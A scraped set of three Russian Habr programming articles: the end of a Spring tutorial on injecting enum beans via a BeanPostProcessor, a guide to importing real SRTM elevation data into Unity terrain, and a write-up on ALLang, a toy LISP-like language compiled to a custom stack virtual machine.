#### Шаг 3 Заставляем Spring сделать Autowire для нашего бина
Создадим `BeanPostProcessor`, который «осведомим» о контексте:
```
@Component
public class EnumBeanPostProcessor implements BeanPostProcessor, ApplicationContextAware {
private ApplicationContext context;
@Override
public Object postProcessBeforeInitialization(final Object bean, final String beanName) throws BeansException {
return bean;
}
@Override
public Object postProcessAfterInitialization(final Object bean, final String beanName) throws BeansException {
return bean;
}
@Override
public void setApplicationContext(final ApplicationContext applicationContext) throws BeansException {
this.context = applicationContext;
}
}
```
Нам понадобится метод "`getEnums`", возвращающий список объектов значений реализующих интерфейс `IEnum`:
```
private Set getEnums() {
final Map enumMap = context.getBeansWithAnnotation(EnumAnnotation.class);
LOG.debug("enumMap.size: {}", enumMap.size());
Set result = new HashSet();
for (Object o : enumMap.values()) {
if (o.getClass().isArray()) {
final IEnum[] o1 = (IEnum[]) o;
Collections.addAll(result, o1);
} else {
result.add((IEnum) o);
}
}
LOG.debug("result: {}", result);
return result;
}
```
**тест на внимательность**Внимательный читатель обратит внимание, что я добавляю не только список значений, но и простые объекты в список - это сделано по причине того, что таким образом можно заанотировать не только enum-типы, но и любой класс для данного интерфейса.
Disclamer: проверку на то, что возвращённые бины точно реализуют интерфейс IEnum я описывать в данном примере не стал.
Добавляем метод "`isAutowiredEnumSetField`", проверяющий, что поле бина ожидает инъекции:
```
@SuppressWarnings("unchecked")
private boolean isAutowiredEnumSetField(Field field) {
if (!AnnotatedElementUtils.isAnnotated(field, Autowired.class.getName())) {
return false;
}
final Class fieldType = field.getType();
if (!Set.class.isAssignableFrom(fieldType)) {
return false;
}
final ParameterizedType type = (ParameterizedType) field.getGenericType();
final Type[] typeArguments = type.getActualTypeArguments();
final Class extends Type aClass = (Class extends Type) typeArguments[0];
return aClass.isAssignableFrom(IEnum.class);
}
```
Ну и, наконец, пробегаемся по полям бина и делаем инъекцию:
```
@Override
public Object postProcessBeforeInitialization(final Object bean, final String beanName) throws BeansException {
LOG.debug("bean: {}", bean);
LOG.debug("beanName: {}", beanName);
final Set enums = getEnums();
if (enums.size() < 1) {
return bean;
}
final Class beanClass = bean.getClass();
final Field[] fields = beanClass.getDeclaredFields();
for (Field field : fields) {
if (isAutowiredEnumSetField(field)) {
LOG.trace("field inject values.");
field.setAccessible(true);
ReflectionUtils.setField(field, bean, enums);
}
}
return bean;
}
```
Запускаем тест и проверяем результат нашей работы.
([коммит](https://github.com/BorzdeG/ru.itbasis.demo.demo.spring-enums/tree/c50e5642f07ab2d1ab1e308979b9d3882f80be4d))
UPD: Добавил [коммит](https://github.com/BorzdeG/ru.itbasis.demo.demo.spring-enums/tree/c89f5d78da1165f430930faed89b15762147c36e) с примером инъекции пары enum и одного класса.` | https://habr.com/ru/post/229955/ | null | ru | null |
# Загрузка реальных ландшафтов в Unity 3D
Введение
========
Тема генерации ландшафтов путем применения разнообразных хитроумных алгоритмов достаточно широко освещалась на хабре ([раз](https://habrahabr.ru/post/226635/), [два](https://habrahabr.ru/post/111538/), [три](https://habrahabr.ru/post/319226/) и продолжать можно до бесконечности). Перечисленные примеры касаются случайной генерации некой абстрактной местности для повышения реализма в конечных игровых продуктах. А как быть, если требуется смоделировать некую реальную местность?
По этой теме тоже довольно много разного рода публикаций в сети. Однако, многие из них опираются на использование платных приложений или расширений для Unity. Существуют описания и «дешевых» методов, но основная масса их ориентирована на получение так называемых heightmap — черно-белых квадратных изображений местности, где градациями серого определяется относительных уровень высот в данной точке. Существует ряд способов генерации подобных карт высот с использованием например инструментария [GDAL](http://www.gdal.org/). И такой подход не лишен недостатков, связанных с достаточной громоздкостью процедуры создания карты высот и последующей привязкой к полученной местности. Поэтому, в данной статье будет изложен некий альтернативный подход и интересующиеся приглашаются под кат.
1. Добыча геоданных
===================
Тут всё уже давно изобретено до нас, за что следует благодарить NASA, выполнивших в свое время программу SRTM (Shuttle Radar Topography Mission) по радиолокационному картонированию земной поверхности. Данные, полученные в ходе миссии находятся в открытом доступе вот [здесь](http://dwtkns.com/srtm/). Идем по этой ссылке и наблюдаем наш родной «шарик» поделенный на зоны.
Для демонстрации описываемой методики выберем район «крыши мира», гору Эверест. Для этого щелкаем по нужному куску карты и жмем кнопку «Download».
Распаковываем скачанный архив, и находим там среди прочего файл **srtm\_54\_07.tif** в формате GeoTIFF. [GeoTIFF](https://ru.wikipedia.org/wiki/GeoTIFF) — открытый стандарт хранения картографической информации. Анализируя данный файл можно получить данные по высотам точек земной поверхности. Так как формат открытый, организовать непосредственную работу с ним, скажем из Unity будет несложно, но мы, пока, для упрощения, пойдем более коротким путем и воспользуемся маленькой но полезной программкой [3DEM](http://www.hangsim.com/3dem/). Это софтинка бесплатна и легко качается с официального сайта. Качаем её и открываем в ней добытый нами GeoTIFF района Эвереста. При открытии нас попросят выбрать формат геоданных, выбираем GeoTIFF:
После чего выбираем вышеупомянутый файл и видим такую картину:
Показанный район довольно велик. Прямоугольником по центру показан интересующий нас район горы Эверест. Чтобы вырезать нужный кусок жмем F8, выбираем интересующую нас область и жмем Enter. Нам предложат уточнить границы участка по широте и долготе.
Уточняем если нужно и нажав ОК получим интересующий нас район на экране:
Если надо, повторяем эту процедуру. В конце концов мы выберем нужный район, а затем идем в главное меню по пути *File → Save Terrain Matrix*. Нам предложат выбрать формат сохраняемых данных:
Выбираем бинарный формат float, так как с ним будет меньше возни. Выбираем далее путь и имя сохраняемых файлов. В качестве выхлопа мы получим два файла
* everest.hdr — текстовый файл с описанием сохраненного участка и формата хранения данных
* everest.bin — сами данные, которые есть просто двухмерный массив высот в формате с плавающей запятой одинарной точности
3. Описание формата хранения геоданных
Его нетрудно получить из pdf-документа, идущего вместе с 3DEM. Главная информация находится в \*.hdr-файле и выглядит она так
```
file_title = everest
data_format = float32
map_projection = Lat/Lon
left_map_x = 86.859001
lower_map_y = 27.899000
right_map_x = 87.014999
upper_map_y = 28.046000
number_of_rows = 177
number_of_columns = 188
elev_m_unit = meters
elev_m_minimum = 4574
elev_m_maximum = 8794
elev_m_missing_flag = -9999
```
Опишу самые важные для нашей задачи поля
* file\_title — имя \*.bin-файла с данными
* data\_format — формат представления данных
* left\_map\_x, lower\_map\_y — долгота и широта левого нижнего угла участка (считаем что верх этого условного «прямоугольника» смотрит на север), в градусах
* right\_map\_x, upper\_map\_y — долгота и широта правого верхнего угла участка, в градусах
* number\_of\_rows — число строк в матрице данных. Каждая строка описывает высоты на фиксированной широте из указанного координатами углов диапазона с равным шагом.
* number\_of\_columns — число столбцов в матрице данных
* elev\_m\_unit — единицы измерения высот
* elev\_m\_minimum — минимальная высота над уровнем референсного эллипсоида (для простоты — уровнем моря) на данном участке
* elev\_m\_maximum — максимальная высота над уровнем референсного эллипсоида
Таким образом, становится понятно как читать бинарный файл — он просто поток float'ов, записанных в файл построчно. Эта матрица, в нашем случае хранит высоты в 177 х 188 = 33276 точках на выбранном участке, ограничения по долготе и широте для которого нам известны. Так же нам известен и диапазон высот на данном участке.
3. Хранение данных о высотах в Unity
====================================
Класс Terrain в Unity имеет публичное поле terrainData, через которое можно получить доступ к следующим полям
* heightmapResolution — разрешение карты высот. Оно кратно степени двойки, выбирается из ряда 128, 256, 512… с добавлением единицы. По умолчанию оно равно 513 х 513
* size — реальный размер террейна в условных единицах Unity. Это поле имеет тип Vector3, и задает размер террейна сразу по всем осям.
* SetHeights(int xBase, int yBase, float[,] heights) — метод для загрузки данных карты высот. xBase, yBase — индексы, начиная с которых карта высот читается движком из массива heights.
Карта высот — квадратный массив вполне определенного размера. Матрица геоданных — массив прямоугольный. Вычитать её из файла дело техники, и подобный код настолько прост, что специально приводить его не имеет смысла. Главная сложность, преобразовать данные GeoTIFF к карте высот, удовлетворяющей следующим требованиям
* квадратная матрица, размером кратным степени двойки + 1
* высоты, хранимые в матрице, нормированы в диапазоне от 0.0 до 1.0
4. Преобразование геоданных в карту высот
=========================================
Нормировать высоты достаточно просто:
где level[i,j] — нормированная высота; h[i,j] — высота в точке (i,j); h\_min, h\_max — минимальная и максимальная высота на участке. Для приведения размера матрицы к выставленным требованиям нужна аппроксимация высоты в зависимости от координаты. Воспользуемся простейшей линейной аппроксимацией. Пусть высота есть функция координат точки на участке ). Тогда, выберем базовую точку %20), совпадающую с одним из узлом заданной координатной сетки и разложим эту функцию в ряд Тейлора
%20%5Capprox%20h(x_i%2C%5C%2C%20y_j)%20%2B%20%5Cfrac%7B%5Cpartial%20h%7D%7B%5Cpartial%20x%7D%5C%2C(x%20-%20x_i)%20%2B%20%20%5Cfrac%7B%5Cpartial%20h%7D%7B%5Cpartial%20y%7D%5C%2C(y%20-%20y_j)%20)
При кажущейся сложности, формула легко реализуется кодом на C#
```
float getHeight(float x, float z)
{
float height = 0.0f;
// Вычисляем шаг по координатам
float dx = terrain_data.x_range / (terrain_data.numder_of_rows - 1);
float dz = terrain_data.z_range / (terrain_data.number_of_columns - 1);
// Определяем базовую точку
int i = (int) (x / dx);
int j = (int) (z / dz);
// Проверяем индексы на предмет выхода за размер массива данных
if ((i >= terrain_data.numder_of_rows) || (j >= terrain_data.number_of_columns))
return 0.0f;
// Вычисляем частные производные в точке (i, j)
float dydx = (terrain_data.normalize_data[i + 1, j] - terrain_data.normalize_data[i, j]) / dx;
float dydz = (terrain_data.normalize_data[i, j + 1] - terrain_data.normalize_data[i, j]) / dz;
// Вычисляем высоту
height = terrain_data.normalize_data[i, j] + dydx * (x - i * dx) + dydz * (z - j * dz);
return height;
}
```
Пользуясь этой функцией легко формируем матрицу для карты высот
```
terrain_data.height_map = new float[resolution, resolution];
float dx = terrain_data.x_range / resolution - 1;
float dz = terrain_data.z_range / resolution - 1;
for (int i = 0; i < resolution; i++)
{
for (int j = 0; j < resolution; j++)
{
terrain_data.height_map[i, j] = getHeight(i * dx, j * dz);
}
}
```
5. Плагин для редактора Unity
=============================
Чтобы облегчить жизнь мной был написан небольшой плагин для редактора движка [UnityGeoDataLoader](https://github.com/maisvendoo/UnityGeoDataLoader), позволяющий решать поставленную задачу. Этот продукт и его исходный код распространяются по лицензии GNU GPL v2.0. По указанной ссылке можно получить и то и другое. Там же есть и инструкция по использованию данного инструмента.
Плагин встраивается в редактор и добавляем в главное меню пункт «Tools -> Load GeoData». Выбрав террейн в инспекторе, жмем этот пункт меню, указываем путь к файлу \*.hdr (рядом с которым лежит и файл \*.bin с данными) и вуаля — лицезреем гору Эверест в редакторе Unity
Дальше с этим террейном делаем всё что душе угодно — текстурируем, применяем шейдеры, расставляем другие объекты. Это уж на ваше усмотрение.
Заключение
==========
Покритикую сам себя. Нехорошо, при открытости стандарта GeoTIFF использовать сторонний инструмент для добычи геоданных. По-хорошему надо весь код поместить в плагин, добавить возможности выбора региона по координатам и много чего ещё. Но предела совершенству нет, главное, что задача загрузки в движок реального ландшафта имеет вполне приемлемое и простое решение.
Благодарю за внимание! | https://habr.com/ru/post/329246/ | null | ru | null |
# Бесполезный и красиво ужасный язык программирования ALLang
Введение
--------
Примерно год назад я писал язык программирования под названием ALLang. Расшифровка его звучит так: *Another LISP Language*, что незамысловато даёт понимание его второсортности. Тем не менее, таковой язык всё же предлагает интересные особенности в своей реализации со стороны эзотерических языков. Писал я ALLang исключительно по фану. Но начнём мы пожалуй по порядку с его высокоуровневых особенностей и будем постепенно углубляться вниз, в самую его крамешную бездну эзотерического внутреннего выполнения.
Внешние особенности
-------------------
Язык программирования ALLang выглядит как обычный язык LISP диалекта Scheme. При этом язык ALLang является чисто функциональным языком программирования. У него не существует операций ввода/вывода, переменных, циклов и т.п. вещей связанных как-либо с императивными языками.
В языке ALLang существует три основных ключевых слова, описывающих инструкции: `include`, `define`, `if`. Инструкция `include` содержит ещё два ключевых слова `assembly` и `source`. В сумме ALLang содержит пять ключевых слов.
```
; Подгружаем точку входа
(include assembly
lib/vms/init.vms)
; Подгружаем библиотеки с операциями
; <, -, + и ret
(include source
lib/all/lr.all
lib/all/ret.all
lib/all/dec.all
lib/all/mul.all)
; Вычисляем факториал от x
(define (main x)
(fact x))
; f(x) = 1, if x < 1
; f(x) = x * f(x-1)
(define (fact x)
(if (lr x 1)
(ret 1)
(mul x (fact (dec x)))))
```
Результат исполнения при `x = 5`:
```
{
"result": [120],
"return": 0
}
```
В сравнении с языками LISP диалекта Scheme здесь есть некоторые "тонкости". Во-первых, существует два типа библиотек - `assembly` и `source`. Первый тип библиотеки подгружает низкоуровневые детали исполнения языка, которые могут модифицировать язык как угодно, добавляя всеразличные операции. Второй тип подгружает код написанный уже на языке ALLang, собственно является типичным способом импортирования кода.
Если мы посмотрим в код `lib/vms/init.vms`, то увидим просто точку начала исполнения в виде функции `main`, хоть и в виде ассемблерного кода (о котором мы поговорим позднее).
```
labl _init
push main
call
hlt
```
Библиотеки типа `source` мы оставим напоследок. Сейчас же давайте посмотрим "узкие" места языка программирования. Во-первых, язык действительно не обладает никакими операциями ввода и вывода, сам язык - это чистый алгоритм и не более. Алгоритму на вход поступают аргументы (в функцию main), а на выходе код возвращает результат выполнения. Во-вторых, язык работает исключительно с числами типа `int32`, он не знает что такое `int8`, `string`, `struct`, `list` и т.п. В общем он крайне примитивен. В-третьих, у него нет ни переменных, ни циклов. Всю цикличность он производит через рекурсию, а таковая рекурсия неоптимизирована! Это было сделано исключительно для того, чтобы сохранить уже приобретённую примитивность языка, но о таковой ещё будет разговор на низком уровне разбора языка.
Таким образом, язык крайне плох в практическом своём применении, но с другой стороны его особенность подгрузки ассемблерного кода может кардинально его изменить, в том числе добавив некоторые типы, циклы и т.п. Иными словами, сам язык можно рассматривать как конструктор для развлечения программиста.
Внутренние особенности
----------------------
Язык программирования ALLang базируется на самописной стековой виртуальной машине CVM. Таковая виртуальная машина достаточно гибка и не менее примитивна, в сравнении с языком ALLang. Она принимает на вход свой ассемблерный код и преобразует его в машинный код (байткод) для своего исполнения.
Основные инструкции CVM изображены в следующей таблице.
| | | | |
| --- | --- | --- | --- |
| Bytecode | Stack | Args | Instruction |
| 0x0A | 0 | 1 | push |
| 0x0B | 1 | 0 | pop |
| 0x0C | 1 | 0 | inc |
| 0x0D | 1 | 0 | dec |
| 0x0E | 3 | 0 | jg |
| 0x0F | 3 | 0 | je |
| 0x1A | 1 | 0 | jmp |
| 0x2A | 2 | 0 | stor |
| 0x3A | 1 | 0 | load |
| 0x4A | 1 | 0 | call |
| 0x5A | 0 | 0 | hlt |
Компиляция языка ALLang выполняется в несколько этапов:
1. Компиляция. Происходит преобразование высокоуровневого кода в код языка ассемблера для виртуальной машины CVM.
2. Трансляция. Происходит преобразование ассемблерного кода в машинный код (байткод) виртуальной машиной CVM.
3. Исполнение. Виртуальная машина CVM начинает исполнять байткод.
Такое же можно описать просто в виде интерфейсных функций:
```
extern int all_compile(FILE *output, FILE *input);
extern int cvm_compile(FILE *output, FILE *input);
extern int cvm_load(uint8_t *memory, int32_t msize);
extern int cvm_run(int32_t **output, int32_t *input);
```
Следовательно, виртуальная машина CVM никак не привязана к языку ALLang и может самостоятельно исполнять другие коды, которые просто были написаны на её ассемблерном диалекте. Как пример:
```
labl _start
push begin
jmp
; main
labl begin
; mul5(x) = x * 5
; where x = 10
push 10
push mul5
call
push end
jmp
; exit
labl end
hlt
; x = arg[1]
labl mul5
; y = x * 5
push -2
load
push 5
mul
; x = y
push -1
push -3
stor
; return
pop
jmp
```
Результат исполнения выглядит так:
```
{
"result": [50],
"return": 0
}
```
Кто более внимательный, тот обнаружит, что CVM выполнила инструкцию `mul`, хотя таковой не было представлено в списке инструкций. Суть заключается в том, что помимо основных инструкций, благодаря которым в теории (в теории) можно выполнить всё, таковая виртуальная машина также предоставляет более практические инструкции, которые изображены в следующей таблице.
| | | | |
| --- | --- | --- | --- |
| Bytecode | Stack | Args | Instruction |
| 0xA0 | 2 | 0 | add |
| 0xB0 | 2 | 0 | sub |
| 0xC0 | 2 | 0 | mul |
| 0xD0 | 2 | 0 | div |
| 0xE0 | 2 | 0 | mod |
| 0xF0 | 2 | 0 | shr |
| 0xA1 | 2 | 0 | shl |
| 0xB1 | 2 | 0 | xor |
| 0xC1 | 2 | 0 | and |
| 0xD1 | 2 | 0 | or |
| 0xE1 | 1 | 0 | not |
| 0xF1 | 3 | 0 | jl |
| 0xA2 | 3 | 0 | jne |
| 0xB2 | 3 | 0 | jle |
| 0xC2 | 3 | 0 | jge |
| 0xD2 | 1 | 0 | allc |
И вот здесь начинается самая интересная часть связанная с языком ALLang. Таковой язык программирования базируется исключительно на основных операциях виртуальной машины CVM. Это значит, что любое сложение он выполняет через множество рекурсивных операций инкрементирования. Любое умножение выполняет через множество рекурсивных операций сложения и т.д. В этом истинная ужасность данного языка и одновременно его красота. Можно сказать, что таковой язык придерживается "втупую" аксиомы Пеано каждый раз, когда ему необходимо что-либо сделать.
Именно по этой причине, если мы скажем ALLang вычислить факториал с `x = 6`, он просто рухнет из-за того, что стек виртуальной машины будет переполнен.
```
{
"error": "run byte code",
"return": 7
}
```
Зная это, мы теперь можем посмотреть как его внутреннию ужасную компиляцию в язык ассемблера, так и его библиотечные функции.
Код вычисления факториала на языке ассемблера после компиляции ALLang
```
labl _init
push main
call
hlt
labl _eq
push -3
load
push -3
load
push _if_eq
je
labl _else_eq
push 0
push _end_eq
jmp
labl _if_eq
push 1
labl _end_eq
push -1
push -4
stor
pop
jmp
labl _inc
push -2
load
inc
push -1
push -3
stor
pop
jmp
labl inc
push -2
load
push -1
load
push _inc
call
push -1
push -4
stor
pop
pop
jmp
labl _dec
push -2
load
dec
push -1
push -3
stor
pop
jmp
labl dec
push -2
load
push -1
load
push _dec
call
push -1
push -4
stor
pop
pop
jmp
labl ret
push -2
load
push -1
load
push inc
call
push dec
call
push -1
push -4
stor
pop
pop
jmp
labl not
push -2
load
push -1
load
push 0
push _eq
call
pop
push 0
push _else_0
je
labl _if_0
push 1
push ret
call
push _end_0
jmp
labl _else_0
push 0
push ret
call
labl _end_0
push -1
push -4
stor
pop
pop
jmp
labl _gr
push -3
load
push -3
load
push _if_gr
jg
labl _else_gr
push 0
push _end_gr
jmp
labl _if_gr
push 1
labl _end_gr
push -1
push -4
stor
pop
jmp
labl neq
push -3
load
push -3
load
push -2
load
push -2
load
push _eq
call
pop
push not
call
push -1
push -6
stor
pop
pop
pop
jmp
labl or
push -3
load
push -3
load
push -2
load
push 0
push neq
call
pop
push 0
push _else_1
je
labl _if_1
push 1
push ret
call
push _end_1
jmp
labl _else_1
push -1
load
push 0
push neq
call
pop
push 0
push _else_2
je
labl _if_2
push 1
push ret
call
push _end_2
jmp
labl _else_2
push 0
push ret
call
labl _end_2
labl _end_1
push -1
push -6
stor
pop
pop
pop
jmp
labl ge
push -3
load
push -3
load
push -2
load
push -2
load
push _eq
call
pop
push -3
load
push -3
load
push _gr
call
pop
push or
call
pop
push -1
push -6
stor
pop
pop
pop
jmp
labl lr
push -3
load
push -3
load
push -2
load
push -2
load
push ge
call
pop
push not
call
push -1
push -6
stor
pop
pop
pop
jmp
labl eq
push -3
load
push -3
load
push -2
load
push -2
load
push _eq
call
pop
push -1
push -6
stor
pop
pop
pop
jmp
labl add
push -3
load
push -3
load
push -1
load
push 0
push eq
call
pop
push 0
push _else_3
je
labl _if_3
push -2
load
push ret
call
push _end_3
jmp
labl _else_3
push -1
load
push 0
push lr
call
pop
push 0
push _else_4
je
labl _if_4
push -2
load
push -2
load
push inc
call
push add
call
pop
push dec
call
push _end_4
jmp
labl _else_4
push -2
load
push -2
load
push dec
call
push add
call
pop
push inc
call
labl _end_4
labl _end_3
push -1
push -6
stor
pop
pop
pop
jmp
labl sub
push -3
load
push -3
load
push -1
load
push 0
push eq
call
pop
push 0
push _else_5
je
labl _if_5
push -2
load
push ret
call
push _end_5
jmp
labl _else_5
push -1
load
push 0
push lr
call
pop
push 0
push _else_6
je
labl _if_6
push -2
load
push -2
load
push inc
call
push sub
call
pop
push inc
call
push _end_6
jmp
labl _else_6
push -2
load
push -2
load
push dec
call
push sub
call
pop
push dec
call
labl _end_6
labl _end_5
push -1
push -6
stor
pop
pop
pop
jmp
labl neg
push -2
load
push 0
push -2
load
push sub
call
pop
push -1
push -4
stor
pop
pop
jmp
labl abs
push -2
load
push -1
load
push 0
push lr
call
pop
push 0
push _else_7
je
labl _if_7
push -1
load
push neg
call
push _end_7
jmp
labl _else_7
push -1
load
push ret
call
labl _end_7
push -1
push -4
stor
pop
pop
jmp
labl and
push -3
load
push -3
load
push -2
load
push 0
push neq
call
pop
push 0
push _else_8
je
labl _if_8
push -1
load
push 0
push neq
call
pop
push 0
push _else_9
je
labl _if_9
push 1
push ret
call
push _end_9
jmp
labl _else_9
push 0
push ret
call
labl _end_9
push _end_8
jmp
labl _else_8
push 0
push ret
call
labl _end_8
push -1
push -6
stor
pop
pop
pop
jmp
labl xor
push -3
load
push -3
load
push -2
load
push not
call
push -2
load
push and
call
pop
push -3
load
push -3
load
push not
call
push and
call
pop
push or
call
pop
push -1
push -6
stor
pop
pop
pop
jmp
labl mul
push -3
load
push -3
load
push -2
load
push 0
push lr
call
pop
push -2
load
push 0
push lr
call
pop
push xor
call
pop
push 0
push _else_10
je
labl _if_10
push -2
load
push abs
call
push -2
load
push abs
call
push mul
call
pop
push neg
call
push _end_10
jmp
labl _else_10
push -1
load
push 0
push eq
call
pop
push 0
push _else_11
je
labl _if_11
push 0
push ret
call
push _end_11
jmp
labl _else_11
push -2
load
push abs
call
push -3
load
push abs
call
push -3
load
push abs
call
push dec
call
push mul
call
pop
push add
call
pop
labl _end_11
labl _end_10
push -1
push -6
stor
pop
pop
pop
jmp
labl main
push -2
load
push 2
push -2
load
push fact
call
push mul
call
pop
push -1
push -4
stor
pop
pop
jmp
labl fact
push -2
load
push -1
load
push 1
push lr
call
pop
push 0
push _else_12
je
labl _if_12
push 1
push ret
call
push _end_12
jmp
labl _else_12
push -1
load
push -2
load
push dec
call
push fact
call
push mul
call
pop
labl _end_12
push -1
push -4
stor
pop
pop
jmp
```
\*Код факториала мог выглядить куда более миниатюрным, если бы использовались добавочные (а не основные) функции виртуальной машины, и если бы не использовалась везде и постоянно рекурсия.
```
labl begin
push 10
push fact
call
push end
jmp
labl end
hlt
; A <- fact(A)
labl fact
; B <- A
push -2
load
labl _fact_for
; IF B < 2
push -1
load
push 2
push _fact_end
jl
; B <- B - 1
push -1
load
push 1
sub
push -1
push -2
stor
pop
; A <- A * B
push -3
load
push -2
load
mul
push -1
push -4
stor
pop
push _fact_for
jmp
labl _fact_end
; return
pop
jmp
```
Библиотечные функции
--------------------
Теперь посмотрим некоторые реализации библиотечных функций, разберём `assembly` и `source` типы. Начнём пожалуй с `assembly`, директория `lib/vms`.
Библиотека типа `assembly` добавляет обёрточные функции над инструкциями виртуальной машины CVM с целью, чтобы язык ALLang мог ими пользоваться. Как пример, операция `inc`.
```
labl _inc
push -2
load
inc
push -1
push -3
stor
pop
jmp
```
В данном случае, `labl _inc` - это определение имени функции и таковую мы действительно можем вызвать из ALLang, если импортируем таковую библиотеку прямо или косвенно (как пример через высокоуровневые функции `inc`, `add` и т.д.).
Операции `push -2` и `load` подгружают переменную из аргумента функции, далее при помощи операции `inc` создаётся новая переменная, к которой прибавляется единица. При помощи операций `push -1`, `push -3`, `stor` результат инкрементирования перемещается обратно в принимаемый аргумент. Операция `pop` удаляет созданную переменную. Операция `jmp` перепрыгивает обратно на точку вызова функции `labl _inc`. В общем по такому шаблону создаются и другие низкоуровневые функции для языка ALLang.
Примеры никзоуровневых функция для языка ALLangФункция декремента:
```
labl _dec
push -2
load
dec
push -1
push -3
stor
pop
jmp
```
Функция сравнения двух чисел (==):
```
labl _eq
push -3
load
push -3
load
push _if_eq
je
labl _else_eq
push 0
push _end_eq
jmp
labl _if_eq
push 1
labl _end_eq
push -1
push -4
stor
pop
jmp
```
Функция сравнения двух чисел (>):
```
labl _gr
push -3
load
push -3
load
push _if_gr
jg
labl _else_gr
push 0
push _end_gr
jmp
labl _if_gr
push 1
labl _end_gr
push -1
push -4
stor
pop
jmp
```
В нашем контексте я привёл лишь четыре низкоуровневых функций и один код связанный с инициализацией функции `main`. На самом деле этого вполне достаточно, но могут существовать также функции, которые будут нечистыми со стороны функционального программирования. Например, виртуальная машина позволяет вводить несколько аргументов и получать несколько результатов. В нашем же случае мы можем принимать несколько аргументов, но выводим всегда одно число. Мы можем легко исправить данный случай просто написав функции \_get (для игнорирования аргументов и взятия их по адресу) и `_set` (для сохранения результатов):
```
(include assembly
lib/vms/init.vms
lib/vms/set.vms
lib/vms/get.vms)
(include source
lib/all/lr.all
lib/all/ret.all
lib/all/dec.all
lib/all/mul.all)
; arg[2] <- _set(arg[0], fact(arg[1])) = 0
(define (var1) (ret 1)) ; arg[1]
(define (var0) (ret 0)) ; arg[0] <- fact(arg[1])
; args: 2 1 0
; input: [0, 5, 0]
; output: [0, 5, 120]
(define (main)
(_set (var0)
(fact (_get (var1)))))
; f(x) = 1, if x < 1
; f(x) = x * f(x-1)
(define (fact x)
(if (lr x 1)
(ret 1)
(mul x (fact (dec x)))))
```
Результат исполнения:
```
{
"result": [0,5,120],
"return": 0
}
```
Низкоуровневые функции \_get и \_set Функция \_set:
```
labl _set
push -3
load
push -3
load
push -1
push -3
load
stor
push 0
push -1
push -6
stor
pop
pop
pop
jmp
```
Функция \_get:
```
labl _get
push -2
load
load
push -1
push -3
stor
pop
jmp
```
Вышеописанный код показывает, что мы можем в буквальном смысле модифицировать язык ALLang налету, изменяя его же правила. Тем не менее, показанный код наверное не очень хорош в том плане, что он всё же "грязнит" чистую функциональность языка.
Теперь давайте приступим к рассмотрению высокоуровневых функций языка ALLang, которые находятся в директории `lib/all`. Таковых функций я написал достаточно большое количество, но давайте разберём лишь несколько.
Наверное самыми основными функциями являются функции инкрементирования и декрементирования, но уже в виде высокоуровневых примитивов. Как пример, функция `inc`:
```
(include assembly
lib/vms/inc.vms)
; inc(x) = x + 1
(define (inc x)
(_inc x))
```
Здесь происходит обычное импортирование низкоуровневой функции и её последующая обёртка. Ровно такая же ситуация с функциями `dec`, `eq`, `gr`.
Иногда есть необходимость использовать не функцию `eq`, а обратную ей функцию. В таком случае нужно лишь выполнить операцию `eq` и применить к ней операцию `not`. Также оно и работает в ALLang.
```
(include source
lib/all/eq.all
lib/all/not.all)
; neq(x, y) = 0, if x = y
; neq(x, y) = 1
(define (neq x y)
(not (eq x y)))
```
Функция notФункция not:
```
(include source
lib/all/eq.all
lib/all/ret.all)
; not(x) = 1, if x = 0
; not(x) = 0
(define (not x)
(if (eq x 0)
(ret 1)
(ret 0)))
```
Функция ret:
```
(include source
lib/all/inc.all
lib/all/dec.all)
; ret(x) = x
(define (ret x)
(dec (inc x)))
```
Далее, операция сложения может быть представлена как её рекурсивное применение операции с операцией инкрементирования.
```
(include source
lib/all/inc.all
lib/all/dec.all
lib/all/eq.all
lib/all/ret.all
lib/all/lr.all)
; add(x, y) = x, if y = 0
; add(x, y) = add(x, y+1) - 1, if y < 0
; add(x, y) = add(x, y-1) + 1
(define (add x y)
(if (eq y 0)
(ret x)
(if (lr y 0)
(dec (add x (inc y)))
(inc (add x (dec y))))))
```
И ещё несколько подобных функцийФункция умножения:
```
(include source
lib/all/add.all
lib/all/dec.all
lib/all/eq.all
lib/all/abs.all
lib/all/neg.all
lib/all/xor.all
lib/all/ret.all
lib/all/lr.all)
; mul(x, y) = -mul(|x|, |y|), if x < 0 xor y < 0 = 1
; mul(x, y) = 0, if y = 0
; mul(x, y) = |x| + mul(|x|, |y| - 1)
(define (mul x y)
(if (xor (lr x 0) (lr y 0))
(neg (mul (abs x) (abs y)))
(if (eq y 0)
(ret 0)
(add (abs x) (mul (abs x) (dec (abs y)))))))
```
Функция вычитания:
```
(include source
lib/all/inc.all
lib/all/dec.all
lib/all/eq.all
lib/all/ret.all
lib/all/lr.all)
; sub(x, y) = x, if y = 0
; sub(x, y) = sub(x, y+1) + 1
; sub(x, y) = sub(x, y-1) - 1
(define (sub x y)
(if (eq y 0)
(ret x)
(if (lr y 0)
(inc (sub x (inc y)))
(dec (sub x (dec y))))))
```
Функция деления:
```
(include source
lib/all/sub.all
lib/all/inc.all
lib/all/abs.all
lib/all/ret.all
lib/all/lr.all
lib/all/xor.all
lib/all/neg.all)
; div(x, y) = -div(|x|, |y|), if x < 0 xor y < 0 = 1
; div(x, y) = 0, if |x| < |y|
; div(x, y) = div(|x| - |y|, |y|) + 1
(define (div x y)
(if (xor (lr x 0) (lr y 0))
(neg (div (abs x) (abs y)))
(if (lr (abs x) (abs y))
(ret 0)
(inc (div (sub (abs x) (abs y)) (abs y))))))
```
Функция abs:
```
(include source
lib/all/neg.all
lib/all/ret.all
lib/all/lr.all)
; abs(x) = -x, if x < 0
; abs(x) = x
(define (abs x)
(if (lr x 0)
(neg x)
(ret x)))
```
Функция neg:
```
(include source
lib/all/sub.all)
; neg(x) = -x
(define (neg x)
(sub 0 x))
```
Далее логические функции представляются следующим образом:
```
(include source
lib/all/ret.all
lib/all/neq.all)
; and(x, y) = 1, if x = 1, y = 1
; and(x, y) = 0
(define (and x y)
(if (neq x 0)
(if (neq y 0)
(ret 1)
(ret 0))
(ret 0)))
```
И ещё несколько функцийФункция not:
```
(include source
lib/all/eq.all
lib/all/ret.all)
; not(x) = 1, if x = 0
; not(x) = 0
(define (not x)
(if (eq x 0)
(ret 1)
(ret 0)))
```
Функция or:
```
(include source
lib/all/ret.all
lib/all/neq.all)
; or(x, y) = 0, if x = 0, y = 0
; or(x, y) = 1
(define (or x y)
(if (neq x 0)
(ret 1)
(if (neq y 0)
(ret 1)
(ret 0))))
```
Функция xor:
```
(include source
lib/all/and.all
lib/all/or.all
lib/all/not.all)
; xor(x, y) = (~x and y) or (x and ~y)
(define (xor x y)
(or (and (not x) y)
(and x (not y))))
```
